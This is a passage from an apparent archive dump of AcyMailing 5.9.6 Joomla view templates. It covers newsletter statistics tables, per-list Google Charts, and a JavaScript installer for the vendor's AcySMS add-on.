	<div id="iframedoc"></div>
	<?php if(!acymailing_isAdmin()){ ?>
	<fieldset>
		<div class="acyheader icon-48-stats" style="float: left;"><?php echo acymailing_translation('GLOBAL_STATISTICS'); ?></div>
		<div class="toolbar" id="acytoolbar" style="float: right;">
			<table>
				<tr>
					<td id="acybutton_stats_exportglobal"><a onclick="acymailing.submitbutton('exportglobal'); return false;" href="#" ><span class="icon-32-acyexport" title="<?php echo acymailing_translation('ACY_EXPORT'); ?>"></span><?php echo acymailing_translation('ACY_EXPORT'); ?></a></td>
					<?php if(acymailing_isAllowed($this->config->get('acl_statistics_delete','all'))){ ?><td id="acybutton_stats_delete"><a onclick="javascript:if(document.adminForm.boxchecked.value==0){alert('<?php echo acymailing_translation('PLEASE_SELECT',true);?>');}else{if(confirm('<?php echo acymailing_translation('ACY_VALIDDELETEITEMS',true); ?>')){acymailing.submitbutton('remove');}} return false;" href="#" ><span class="icon-32-delete" title="<?php echo acymailing_translation('ACY_DELETE'); ?>"></span><?php echo acymailing_translation('ACY_DELETE'); ?></a></td><?php } ?>
				</tr>
			</table>
		</div>
	</fieldset>
	<?php } ?>
	<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats'); ?>" method="post" name="adminForm" id="adminForm">
		<table class="acymailing_table_options">
			<tr>
				<td>
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td class="tablegroup_options">
					<span class="statistics_filter" id="statfilter" align="left"><?php echo $this->filterMsg; ?></span>
					<?php if(!empty($this->filterTag)){ ?><span class="statistics_filter" id="statfilter" align="left"><?php echo $this->filterTag; ?></span><?php } ?>
				</td>
			</tr>
		</table>
		<?php if(!acymailing_isAdmin()) echo '<div class="acyslide">'; ?>
		<table class="acymailing_table" cellpadding="1">
			<thead>
			<tr>
				<?php if($this->menuparams->get('number', '1') == 1){ ?>
					<th class="title titlenum">
						<?php echo acymailing_translation('ACY_NUM'); ?>
					</th>
				<?php } ?>
				<th class="title titlebox">
					<input type="checkbox" name="toggle" value="" onclick="acymailing.checkAll(this);"/>
				</th>
				<th class="title statsubjectsenddate">
					<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_SUBJECT'), 'b.subject', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing').' - '.acymailing_gridSort(acymailing_translation('SEND_DATE'), 'a.senddate', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
				</th>
				<?php if($this->menuparams->get('opens', '1') == 1){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('OPEN'), 'openprct', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
					</th>
				<?php } ?>
				<?php if(acymailing_level(1)){ ?>
					<?php if($this->menuparams->get('clicks', '1') == 1){ ?>
						<th class="title titletoggle">
							<?php echo acymailing_gridSort(acymailing_translation('CLICKED_LINK'), 'clickprct', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
						</th>
					<?php } ?>
					<?php if($this->menuparams->get('efficiency', '1') == 1){ ?>
						<th class="title titletoggle">
							<?php echo acymailing_gridSort(acymailing_translation('ACY_CLICK_EFFICIENCY'), 'efficiencyprct', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
						</th>
					<?php } ?>
				<?php } ?>
				<?php if($this->menuparams->get('unsubscribe', '1') == 1){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('UNSUBSCRIBE'), 'unsubprct', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
					</th>
				<?php } ?>
				<?php if(acymailing_level(1) && $this->menuparams->get('forward', '1') == 1){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('FORWARDED'), 'a.forward', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
					</th>
				<?php } ?>
				<?php if($this->menuparams->get('sent', '1') == 1){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_SENT'), 'totalsent', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
					</th>
				<?php } ?>
				<?php if(acymailing_level(3) && $this->menuparams->get('bounces', '1') == 1){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('BOUNCES'), 'bounceprct', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
					</th>
				<?php } ?>
				<?php if($this->menuparams->get('failed', '1') == 1){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('FAILED'), 'a.fail', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
					</th>
				<?php } ?>
				<?php if(acymailing_level(3) && acymailing_isAdmin()){ ?>
					<th class="title titletoggle" style="font-size: 12px;">
						<?php echo acymailing_translation('STATS_PER_LIST'); ?>
					</th>
				<?php } ?>
				<?php if($this->menuparams->get('id', '1') == 1){ ?>
					<th class="title titleid titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.mailid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, 'listing'); ?>
					</th>
				<?php } ?>
			</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="14">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody>
			<?php
			$k = 0;

			for($i = 0, $a = count($this->rows); $i < $a; $i++){
				$row =& $this->rows[$i];
				$row->subject = acyEmoji::Decode($row->subject);
				if(acymailing_level(3)){
					$cleanSent = $row->senthtml + $row->senttext - $row->bounceunique;
				}else{
					$cleanSent = $row->senthtml + $row->senttext;
				}
				?>
				<tr class="<?php echo "row$k"; ?>">
					<?php if($this->menuparams->get('number', '1') == 1){ ?>
						<td align="center" style="text-align:center">
							<?php echo $this->pagination->getRowOffset($i); ?>
						</td>
					<?php } ?>
					<td align="center" style="text-align:center">
						<?php echo acymailing_gridID($i, $row->mailid); ?>
					</td>
					<td>
						<?php
						if(acymailing_level(2)) {
							echo acymailing_popup(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'diagram&task=mailing&mailid='.$row->mailid, true), '<i class="acyicon-statistic"></i><span class="acy_stat_subject">'.acymailing_tooltip('<b>'.acymailing_translation('JOOMEXT_ALIAS').' : </b>'.$row->alias, '', '', $row->subject).'</span>', '', 800, 590);
						}else{
							echo '<span class="acy_stat_subject">'.acymailing_tooltip('<b>'.acymailing_translation('JOOMEXT_ALIAS').' : </b>'.$row->alias, ' ', '', $row->subject).'</span>';
						}
						echo '<br /><span class="acy_stat_date"><b>'.acymailing_translation('SEND_DATE').' : </b>'.acymailing_getDate($row->senddate).'</span>'; ?>
					</td>
					<?php if($this->menuparams->get('opens', '1') == 1){ ?>
						<td align="center" style="text-align:center">
							<?php
							if(!empty($row->senthtml)){
								$text = '<b>'.acymailing_translation('OPEN_UNIQUE').' : </b>'.$row->openunique.' / '.$cleanSent;
								$text .= '<br /><b>'.acymailing_translation('OPEN_TOTAL').' : </b>'.$row->opentotal;
								$pourcent = ($cleanSent == 0 ? '0%' : (substr($row->openunique / $cleanSent * 100, 0, 5)).'%');
								$title = acymailing_translation_sprintf('PERCENT_OPEN', $pourcent);
								echo acymailing_tooltip($text, $title, '', $pourcent, acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&task=detaillisting&filter_status=open&filter_mail='.$row->mailid));
							}
							?>
						</td>
					<?php } ?>
					<?php if(acymailing_level(1)){ ?>
						<?php if($this->menuparams->get('clicks', '1') == 1){ ?>
							<td align="center" style="text-align:center">
								<?php
								if(!empty($row->senthtml)){
									$text = '<b>'.acymailing_translation('UNIQUE_HITS').' : </b>'.$row->clickunique.' / '.$cleanSent;
									$text .= '<br /><b>'.acymailing_translation('TOTAL_HITS').' : </b>'.$row->clicktotal;
									$pourcent = ($cleanSent == 0 ? '0%' : (substr($row->clickunique / $cleanSent * 100, 0, 5)).'%');
									$title = acymailing_translation_sprintf('PERCENT_CLICK', $pourcent);
									echo acymailing_tooltip($text, $title, '', $pourcent, acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'statsurl&filter_mail='.$row->mailid));
								}
								?>
							</td>
						<?php } ?>
						<?php if($this->menuparams->get('efficiency', '1') == 1){ ?>
							<td align="center" style="text-align:center">
								<?php
								if(!empty($row->senthtml)){
									$text = '<b>'.acymailing_translation('UNIQUE_HITS').' : </b>'.$row->clickunique.' / '.$row->openunique;
									$text .= '<br /><b>'.acymailing_translation('OPEN_UNIQUE').' : </b>'.$row->openunique;
									$pourcentEfficiency = ($row->openunique == 0 ? '0%' : (substr($row->clickunique / $row->openunique * 100, 0, 5)).'%');
									$title = acymailing_translation_sprintf('ACY_CLICK_EFFICIENCY_DESC', $pourcentEfficiency);
									echo acymailing_tooltip($text, $title, '', $pourcentEfficiency, acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'statsurl&filter_mail='.$row->mailid));
								}
								?>
							</td>
						<?php } ?>
					<?php } ?>
					<?php if($this->menuparams->get('unsubscribe', '1') == 1){ ?>
						<td align="center" style="text-align:center">
							<?php
							echo acymailing_popup(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&task=unsubchart&mailid='.$row->mailid, true), '<i class="acyicon-statistic"></i>', '', 800, 590);
							$pourcent = ($cleanSent == 0) ? '0%' : (substr($row->unsub / $cleanSent * 100, 0, 5)).'%';
							$text = $row->unsub.' / '.$cleanSent;
							$title = acymailing_translation('UNSUBSCRIBE');
							echo acymailing_popup(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&start=0&task=unsubscribed&filter_mail='.$row->mailid, true), acymailing_tooltip($text, $title, '', $pourcent), '', 800, 590);
							?>
						</td>
					<?php } ?>
					<?php if(acymailing_level(1) && $this->menuparams->get('forward', '1') == 1){ ?>
						<td align="center" style="text-align:center">
							<?php echo acymailing_popup(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&start=0&task=forward&filter_mail='.$row->mailid, true), $row->forward, '', 800, 590); ?>
						</td>
					<?php } ?>
					<?php if($this->menuparams->get('sent', '1') == 1){ ?>
						<td align="center" style="text-align:center">
							<?php $text = '<b>'.acymailing_translation('HTML').' : </b>'.$row->senthtml;
							$text .= '<br /><b>'.acymailing_translation('JOOMEXT_TEXT').' : </b>'.$row->senttext;
							$title = acymailing_translation('ACY_SENT');
							echo acymailing_tooltip($text, $title, '', $row->senthtml + $row->senttext, acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&task=detaillisting&filter_status=0&filter_mail='.$row->mailid)); ?>
						</td>
					<?php } ?>
					<?php if(acymailing_level(3) && $this->menuparams->get('bounces', '1') == 1){ ?>
						<td align="center" style="text-align:center" nowrap="nowrap">
							<?php echo acymailing_popup(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'bounces&task=chart&mailid='.$row->mailid, true), '<i class="acyicon-statistic"></i>', '', 800, 590);
							$text = $row->bounceunique.' / '.($row->senthtml + $row->senttext);
							$title = acymailing_translation('BOUNCES');
							$pourcent = (empty($row->senthtml) AND empty($row->senttext)) ? '0%' : (substr($row->bounceunique / ($row->senthtml + $row->senttext) * 100, 0, 5)).'%';
							echo acymailing_tooltip($text, $title, '', $pourcent, acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&task=detaillisting&filter_status=bounce&filter_mail='.$row->mailid)); ?>
						</td>
					<?php } ?>
					<?php if($this->menuparams->get('failed', '1') == 1){ ?>
						<td align="center" style="text-align:center">
							<a href="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&task=detaillisting&filter_status=failed&filter_mail='.$row->mailid); ?>">
								<?php echo $row->fail; ?>
							</a>
						</td>
					<?php } ?>
					<?php if(acymailing_level(3) && acymailing_isAdmin()){ ?>
						<td align="center" style="text-align:center">
							<?php echo acymailing_popup(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&task=mailinglist&mailid='.$row->mailid, true), '<i class="acyicon-statistic"></i>', '', 800, 590); ?>
						</td>
					<?php } ?>
					<?php if($this->menuparams->get('id', '1') == 1){ ?>
						<td align="center" style="text-align:center">
							<?php echo $row->mailid; ?>
						</td>
					<?php } ?>
				</tr>
				<?php
				$k = 1 - $k;
			}
			?>
			</tbody>
		</table>
		<?php
		if(!acymailing_isAdmin()) echo '</div>';
		if(!empty($this->Itemid)) echo '<input type="hidden" name="Itemid" value="'.$this->Itemid.'" />';
		acymailing_formOptions($this->pageInfo->filter->order);
		?>
	</form>
</div>
com_acymailing/views/stats/tmpl/menu.detaillisting.php000060400000002732152455305300017300 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><fieldset>
	<div class="acyheader icon-48-stats" style="float: left;"><?php echo $this->mailing->subject; ?></div>
	<div class="toolbar" id="toolbar" style="float: right;">
		<table>
			<tr>
				<?php
				$config = acymailing_config();
				if(acymailing_isAllowed($config->get('acl_subscriber_export', 'all'))){ ?>
					<td><a onclick="acymailing.submitbutton('export'); return false;" href="#"><span class="icon-32-acyexport" title="<?php echo acymailing_translation('ACY_EXPORT', true); ?>"></span><?php echo acymailing_translation('ACY_EXPORT'); ?></a></td>
				<?php }

				if(acymailing_isNoTemplate()){
					$link = 'frontdiagram&task=mailing&mailid='.acymailing_getVar('cmd', 'mailid').'&listid='.acymailing_getVar('cmd', 'listid');
				}else{
					$link = 'frontstats&listid='.acymailing_getVar('int', 'listid').'&filter_msg='.acymailing_getVar('int', 'filter_msg').'&mailid='.acymailing_getVar('int', 'filter_mail');
				}
				?>
				<td><a href="<?php echo acymailing_completeLink($link, acymailing_isNoTemplate()); ?>"><span class="icon-32-cancel" title="<?php echo acymailing_translation('ACY_CANCEL', true); ?>"></span><?php echo acymailing_translation('ACY_CANCEL'); ?></a></td>
			</tr>
		</table>
	</div>
</fieldset>
com_acymailing/views/stats/tmpl/mailinglist.php000060400000031102152455305300016006 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<?php
	if(empty($this->isData)) return;
	if(!acymailing_isAdmin() && acymailing_isNoTemplate()) include(dirname(__FILE__).DS.'menu.mailinglist.php'); ?>
	<style type="text/css">
		.mailingListChart{
			float: left;
			margin: 2px;
		}

		.noDataChart{
			display: none;
		}
	</style>
	<script type="text/javascript" src="https://www.google.com/jsapi"></script>
	<script language="JavaScript" type="text/javascript">
		function getDataMailSent(){
			var data = new google.visualization.DataTable();
			data.addColumn('string', 'Name');
			data.addColumn('number', 'Value');
			data.addRows(<?php echo count($this->mydata); ?>);
			<?php
			$array_detail = array();
			$i = 0;
			foreach($this->mydata as $list){
				echo 'data.setValue('. $i .', 0, \''. str_replace("'", "\'", $list['listname']) .'\'); ';
				echo 'data.setValue('. $i .', 1, '. $list['nbMailSent'] .'); ';
				$i++;
				$nbSentRatio = number_format($list['nbMailSent'] / $this->totalSent * 100, 1);
				array_push($array_detail, $list['listname'] .': '. $list['nbMailSent'] . ' ('. $nbSentRatio .'%)');
			}
			$detailSent = implode("\n", $array_detail); ?>
			return data;
		}

		function drawMailSent(){
			var vis = new google.visualization.PieChart(document.getElementById('chartMailSent'));
			var options = {
				width: 350, height: 350, colors: [<?php echo $this->listColors; ?>], legend: 'right', title: '<?php echo str_replace("'", "\'", acymailing_translation('ACY_SENT_EMAILS')); ?>', legendTextStyle: {color: '#333333'}, pieSliceText: 'value', is3D: true
			};
			vis.draw(getDataMailSent(), options);
		}

		var optionsColumnChart = {
			width: 350, height: 350, colors: [<?php echo $this->listColors; ?>], legend: 'none', vAxis: {minValue: 0, maxValue: 100}
		};

		function getDataOpen(){
			var data = new google.visualization.DataTable();
			data.addColumn('string', 'Columns');
			<?php foreach($this->mydata as $list){
				echo 'data.addColumn(\'number\', \''. str_replace("'", "\'", $list['listname']) .'\'); ';
			} ?>
			data.addRows(1);
			data.setValue(0, 0, '');
			<?php $i = 1;
			$array_detail = array();
			$dataOpen = false;
			foreach($this->mydata as $list){
				if(!$dataOpen && $list['nbOpenRatio'] > 0) $dataOpen = true;
				echo 'data.setValue(0,'. $i .', '. $list['nbOpenRatio'] .'); ';
				array_push($array_detail, $list['listname'] .': '. $list['nbOpen'] .' ('. $list['nbOpenRatio'] .'%)');
				$i++;
			}
			$detailOpen = implode("\n", $array_detail); ?>
			return data;
		}
		function drawOpen(){
			var vis = new google.visualization.ColumnChart(document.getElementById('chartMailOpen'));
			optionsColumnChart['title'] = '<?php echo str_replace("'", "\'", acymailing_translation('OPEN')); ?> (%)';
			<?php if(!$dataOpen) {echo	"optionsColumnChart['vAxis'] = {minValue:0, maxValue:100};";}
			else echo	"optionsColumnChart['vAxis'] = {minValue:0};"; ?>
			vis.draw(getDataOpen(), optionsColumnChart);
		}

		function getDataBounce(){
			var data = new google.visualization.DataTable();
			data.addColumn('string', 'Columns');
			<?php foreach($this->mydata as $list){
				echo 'data.addColumn(\'number\', \''. str_replace("'", "\'", $list['listname']) .'\'); ';
			} ?>
			data.addRows(1);
			data.setValue(0, 0, '');
			<?php $i = 1;
			$array_detail = array();
			$dataBounce = false;
			foreach($this->mydata as $list){
				if(!$dataBounce && $list['nbBounceRatio'] > 0) $dataBounce = true;
				echo 'data.setValue(0,'. $i .', '. $list['nbBounceRatio'] .'); ';
				array_push($array_detail, $list['listname'] .': '. $list['nbBounce'] .' ('. $list['nbBounceRatio'] .'%)');
				$i++;
			}
			$detailBounce = implode("\n", $array_detail); ?>
			return data;
		}
		function drawBounce(){
			var vis = new google.visualization.ColumnChart(document.getElementById('chartBounce'));
			optionsColumnChart['title'] = '<?php echo str_replace("'", "\'", acymailing_translation('BOUNCES')); ?> (%)';
			<?php if(!$dataBounce) {echo	"optionsColumnChart['vAxis'] = {minValue:0, maxValue:100};";}
			else echo	"optionsColumnChart['vAxis'] = {minValue:0};"; ?>
			vis.draw(getDataBounce(), optionsColumnChart);
		}

		function getDataClic(){
			var data = new google.visualization.DataTable();
			data.addColumn('string', 'Columns');
			<?php foreach($this->mydata as $list){
				echo 'data.addColumn(\'number\', \''. str_replace("'", "\'", $list['listname']) .'\'); ';
			} ?>
			data.addRows(1);
			data.setValue(0, 0, '');
			<?php $i = 1;
			$array_detail = array();
			$dataClic = false;
			foreach($this->mydata as $list){
				if(!$dataClic && $list['nbClicRatio'] > 0) $dataClic = true;
				echo 'data.setValue(0,'. $i .', '. $list['nbClicRatio'] .'); ';
				array_push($array_detail, $list['listname'] .': '. $list['nbClic'] .' ('. $list['nbClicRatio'] .'%)');
				$i++;
			}
			$detailClic = implode("\n", $array_detail); ?>
			return data;
		}
		function drawClic(){
			var vis = new google.visualization.ColumnChart(document.getElementById('chartClic'));
			optionsColumnChart['title'] = '<?php echo str_replace("'", "\'", acymailing_translation('CLICKED_LINK')); ?> (%)';
			<?php if(!$dataClic) {echo	"optionsColumnChart['vAxis'] = {minValue:0, maxValue:100};";}
			else echo	"optionsColumnChart['vAxis'] = {minValue:0};"; ?>
			vis.draw(getDataClic(), optionsColumnChart);
		}

		function getDataUnsub(){
			var data = new google.visualization.DataTable();
			data.addColumn('string', 'Columns');
			<?php foreach($this->mydata as $list){
				echo 'data.addColumn(\'number\', \''. str_replace("'", "\'", $list['listname']) .'\'); ';
			} ?>
			data.addRows(1);
			data.setValue(0, 0, '');
			<?php $i = 1;
			$array_detail = array();
			$dataUnsub = false;
			foreach($this->mydata as $list){
				if(!$dataUnsub && $list['nbUnsubRatio'] > 0) $dataUnsub = true;
				echo 'data.setValue(0,'. $i .', '. $list['nbUnsubRatio'] .'); ';
				array_push($array_detail, $list['listname'] .': '. $list['nbUnsub'] .' ('. $list['nbUnsubRatio'] .'%)');
				$i++;
			}
			$detailUnsub = implode("\n", $array_detail); ?>
			return data;
		}
		function drawUnsub(){
			var vis = new google.visualization.ColumnChart(document.getElementById('chartUnsubscribed'));
			optionsColumnChart['title'] = '<?php echo str_replace("'", "\'", acymailing_translation('UNSUBSCRIBED')); ?> (%)';
			<?php if(!$dataUnsub) {echo	"optionsColumnChart['vAxis'] = {minValue:0, maxValue:100};";}
			else echo	"optionsColumnChart['vAxis'] = {minValue:0};"; ?>
			vis.draw(getDataUnsub(), optionsColumnChart);
		}

		function getDataForward(){
			var data = new google.visualization.DataTable();
			data.addColumn('string', 'Columns');
			<?php foreach($this->mydata as $list){
				echo 'data.addColumn(\'number\', \''. str_replace("'", "\'", $list['listname']) .'\'); ';
			} ?>
			data.addRows(1);
			data.setValue(0, 0, '');
			<?php $i = 1;
			$array_detail = array();
			$dataForward = false;
			foreach($this->mydata as $list){
				echo 'data.setValue(0,'. $i .', '. $list['nbForward'] .'); ';
				if(!$dataForward && $list['nbForward'] != 0) $dataForward = true;
				array_push($array_detail, $list['listname'] .': '. $list['nbForward']);
				$i++;
			}
			$detailForward = implode("\n", $array_detail); ?>
			return data;
		}
		function drawForward(){
			var vis = new google.visualization.ColumnChart(document.getElementById('chartForward'));
			optionsColumnChart['title'] = '<?php echo str_replace("'", "\'", acymailing_translation('FORWARDED')); ?>';
			<?php if(!$dataForward) {echo	"optionsColumnChart['vAxis'] = {minValue:0, maxValue:100};";}
			else echo	"optionsColumnChart['vAxis'] = {minValue:0};"; ?>
			vis.draw(getDataForward(), optionsColumnChart);
		}

		google.load("visualization", "1", {packages: ["corechart"]});
		google.setOnLoadCallback(drawMailSent);
		google.setOnLoadCallback(drawOpen);
		google.setOnLoadCallback(drawBounce);
		google.setOnLoadCallback(drawClic);
		google.setOnLoadCallback(drawUnsub);
		google.setOnLoadCallback(drawForward);

		function showData(typeGraph){
			if(document.getElementById('exporteddata_' + typeGraph).style.display == 'none'){
				document.getElementById('exporteddata_' + typeGraph).style.display = '';
			}else{
				document.getElementById('exporteddata_' + typeGraph).style.display = 'none';
			}
		}
	</script>

	<div id="iframedoc"></div>
	<?php echo acymailing_translation('SEND_DATE').' : <span class="statnumber">'.acymailing_getDate($this->mailing->senddate); ?></span><br/>

	<div class="acychart mailingListChart" width="350px" height="350px">
		<div id="chartMailSent"></div>
		<img style="position:relative;cursor:pointer;margin-top:-30px;" onclick="showData('sent');" class="donotprint" src="<?php echo ACYMAILING_IMAGES.'smallexport.png'; ?>" alt="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" title="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" width="30px"/>
		<textarea cols="25" rows="9" id="exporteddata_sent" style="display:none;position:absolute;margin-top:-160px;z-index:2;width:300px;" class="donotprint"><?php echo $detailSent; ?></textarea>
	</div>
	<div class="acychart mailingListChart" width="350px" height="350px">
		<div id="chartMailOpen"></div>
		<img style="position:relative;cursor:pointer;margin-top:-30px;" onclick="showData('open');" class="donotprint" src="<?php echo ACYMAILING_IMAGES.'smallexport.png'; ?>" alt="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" title="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" width="30px"/>
		<textarea cols="35" rows="9" id="exporteddata_open" style="display:none;position:absolute;margin-top:-160px;z-index:2;width:300px;" class="donotprint"><?php echo $detailOpen; ?></textarea>
	</div>

	<!--[if !IE]><!-->
	<div style="page-break-after: always;">&nbsp;</div>
	<!--<![endif]-->
	<div class="acychart mailingListChart" width="350px" height="350px">
		<div id="chartClic"></div>
		<img style="position:relative;cursor:pointer;margin-top:-30px;" onclick="showData('clic');" class="donotprint" src="<?php echo ACYMAILING_IMAGES.'smallexport.png'; ?>" alt="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" title="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" width="30px"/>
		<textarea cols="35" rows="9" id="exporteddata_clic" style="display:none;position:absolute;margin-top:-160px;z-index:2;width:300px;" class="donotprint"><?php echo $detailClic; ?></textarea>
	</div>
	<div class="acychart mailingListChart <?php echo($dataForward == false ? 'noDataChart' : ''); ?>" width="350px" height="350px">
		<div id="chartForward"></div>
		<img style="position:relative;cursor:pointer;margin-top:-30px;" onclick="showData('forward');" class="donotprint" src="<?php echo ACYMAILING_IMAGES.'smallexport.png'; ?>" alt="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" title="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" width="30px"/>
		<textarea cols="35" rows="9" id="exporteddata_forward" style="display:none;position:absolute;margin-top:-160px;z-index:2;width:300px;" class="donotprint"><?php echo $detailClic; ?></textarea>
	</div>

	<?php echo($dataForward != false ? '<!--[if !IE]><!--><div style="page-break-after: always">&nbsp;</div><!--<![endif]-->' : ''); ?>
	<div class="acychart mailingListChart" width="350px" height="350px">
		<div id="chartBounce"></div>
		<img style="position:relative;cursor:pointer;margin-top:-30px;" onclick="showData('bounce');" class="donotprint" src="<?php echo ACYMAILING_IMAGES.'smallexport.png'; ?>" alt="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" title="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" width="30px"/>
		<textarea cols="35" rows="9" id="exporteddata_bounce" style="display:none;position:absolute;margin-top:-160px;z-index:2;width:300px;" class="donotprint"><?php echo $detailBounce; ?></textarea>
	</div>
	<?php echo($dataForward == false ? '<!--[if !IE]><!--><div style="page-break-after: always">&nbsp;</div><!--<![endif]-->' : ''); ?>
	<div class="acychart mailingListChart" width="350px" height="350px">
		<div id="chartUnsubscribed"></div>
		<img style="position:relative;cursor:pointer;margin-top:-30px;" onclick="showData('unsub');" class="donotprint" src="<?php echo ACYMAILING_IMAGES.'smallexport.png'; ?>" alt="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" title="<?php echo acymailing_translation('VIEW_DETAILS', true) ?>" width="30px"/>
		<textarea cols="35" rows="9" id="exporteddata_unsub" style="display:none;position:absolute;margin-top:-160px;z-index:2;width:300px;" class="donotprint"><?php echo $detailUnsub; ?></textarea>
	</div>
</div>
com_acymailing/views/update/view.html.php000060400000006134152455305300014566 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class UpdateViewUpdate extends acymailingView{

    function display($tpl = null){

        $function = $this->getLayout();
        if(method_exists($this, $function)) $this->$function();

        parent::display($tpl);
    }

    function acysms(){
        $acyToolbar = acymailing_get('helper.toolbar');
        $acyToolbar->setTitle('AcySMS');
        $acyToolbar->display();

        $js = '
        function installAcySMS(){
            var progressbar = document.getElementById("progressbar");
            var information = document.getElementById("information");
            progressbar.style.width = "10%";
            information.innerHTML = "'.htmlspecialchars(acymailing_translation('ACY_DOWNLOADING'), ENT_QUOTES, 'UTF-8').'";
					
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "'.acymailing_prepareAjaxURL('file').'&task=downloadAcySMS");
            xhr.onload = function(){
                if(xhr.responseText == "success") {
                    progressbar.style.width = "40%";
                    document.getElementById("information").innerHTML = "'.htmlspecialchars(acymailing_translation('ACY_INSTALLING'), ENT_QUOTES, 'UTF-8').'";
                    installPackage();
                }else{
                    document.getElementById("information").innerHTML = "'.str_replace('"', '\"', acymailing_translation_sprintf('ACY_FAILED_INSTALL', '<a href="https://www.acyba.com/download-area/download/component-acysms/level-express.html" target="_blank">', '</a>')).'";
                }
            };
            xhr.send();
        }

        function installPackage(){
            var progress = 40;
            var interval = setInterval(function(){
                if(progress >= 70) clearInterval(interval);
                if(progressbar.style.width != "100%") {
                    progress += 10;
                    progressbar.style.width = progress + "%";
                }
            }, 4000);
					
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "'.acymailing_prepareAjaxURL('file').'&task=installPackage");
            xhr.onload = function(){
                if(xhr.responseText == "success") {
                    progressbar.style.width = "100%";
                    setTimeout(function(){ 
                        document.getElementById("meter").style.display = "none"; 
                        document.getElementById("postinstall").style.display = ""; 
                    }, 2000);
                }else{
                    document.getElementById("information").innerHTML = "'.str_replace('"', '\"', acymailing_translation_sprintf('ACY_FAILED_INSTALL', '<a href="https://www.acyba.com/download-area/download/component-acysms/level-express.html" target="_blank">', '</a>')).'";
                }
            };
            xhr.send();
        }';

        acymailing_addScript(true, $js);
    }
}
com_acymailing/views/update/index.html000060400000000054152455305300014130 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/update/tmpl/acysms.php000060400000015527152455305300015132 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content" class="installacysms">
    <div id="iframedoc"></div>
    <span style="font-weight: bold;"><i class="acyicon-statistic" style="margin-right: 10px;vertical-align:middle;"></i><?php echo acymailing_translation('ACY_SMS_PRESENTATION'); ?></span>
    <div id="startbutton" class="myacymailingarea"><button onclick="document.getElementById('meter').style.display = '';document.getElementById('startbutton').style.display = 'none';installAcySMS();"><?php echo acymailing_translation('ACY_TRY_IT'); ?></button></div>
    <div id="meter" style="display:none;">
        <div>
